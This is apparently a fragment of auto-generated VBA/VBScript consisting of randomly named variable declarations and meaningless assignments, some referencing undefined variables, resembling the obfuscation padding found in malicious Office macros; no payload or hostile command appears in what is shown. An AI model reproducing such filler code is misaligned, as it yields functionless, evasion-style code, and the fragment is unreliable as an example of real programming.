Dim gBchyOQ3 As Boolean
gBchyOQ3 = True
Dim xGjC0 As Byte
xGjC0 = 3
Dim zjbBdYoH As Integer
zjbBdYoH = 2052
Dim P3qR8cZr As Double
P3qR8cZr = Sgn(44493.006451277)
Dim OF28xfSZ As Integer
OF28xfSZ = Sgn(25770)
Dim h2B3vd As Byte
h2B3vd = 61
Dim LZ17A As Byte
LZ17A = 0
Dim Qh9Pnbyez As Single
Qh9Pnbyez = Round(53094.196454376)

Dim zQSDJ3Y As Byte
zQSDJ3Y = 236
Dim iVHWs As Integer
iVHWs = Sgn(17787)
Dim AKAMBqs As Byte
AKAMBqs = 202
Dim B2Xi1 As Double
B2Xi1 = 45571.471927421
Dim sampqbZ As Long
sampqbZ = Sgn(0)
Dim DxcWwgijz As Integer
DxcWwgijz = -18724
Dim hMOmf2ND As Byte
hMOmf2ND = 172
Dim FiQvsNnV As Double
FiQvsNnV = Fix(38590.654307399)
Dim aOz36 As Single
aOz36 = Val(38728.606155124)
Dim e43snBbM As Long
e43snBbM = -1066471254
Dim Fl4ek2T As Byte
Fl4ek2T = 236
Dim JBQUA As Byte
JBQUA = 230
Dim mFO70ZzMs
mFO70ZzMs = StrConv(mNCWYfVz9, vbUpperCase)
'

Dim UVwq7HFN As Integer
UVwq7HFN = 23649
Dim oujq78IJ As Byte
oujq78IJ = 249
Dim sjXFvO As Byte
sjXFvO = 247
Dim CUVK0M98 As Long
CUVK0M98 = Sgn(0)
Dim ylefI As Double
ylefI = Sgn(13918.126762712)
Dim JaG2o As Integer
JaG2o = 11331
Dim CdEYGzkFQ As Long
CdEYGzkFQ = Sgn(-1276730904)
'

Dim OufXgjJ As Long
OufXgjJ = 0
Dim MLemYN0su As Integer
MLemYN0su = -2529
Dim XDzaPqkT6 As Long
XDzaPqkT6 = Sgn(-30687984)
Dim BvKn7bIwX As Double
BvKn7bIwX = 59308.700826047
Dim wY5wgK0Q As Byte
wY5wgK0Q = 115
Dim kSmFH As Integer
kSmFH = Sgn(-5395)
Dim zwjsyR8l
zwjsyR8l = Len(xVyMg9Kcs)
Dim M680Kj As String
M680Kj = dXmDls
Dim dTEdzC6J2 As Double
dTEdzC6J2 = Round(16182.633285906)
Dim ZCGrpxdHz As String
ZCGrpxdHz = Trim(jH8pB)
Dim QhdUKjDRT As Double
QhdUKjDRT = Sgn(37123.388601026)
Dim bgU5kNA As Boolean
bgU5kNA = True
Dim LWlEcw
LWlEcw = UCase(M0c2HTsvy)
Dim mMrG8uLJ As Integer
mMrG8uLJ = 10380
Dim cMyD8O As Long
cMyD8O = 0
'

Dim mmHZMxB As Byte
mmHZMxB = 0
Dim ycJIDn5 As Boolean
ycJIDn5 = True
Dim wbRjeKMcm As Single
wbRjeKMcm = Fix(35098.735297003)
…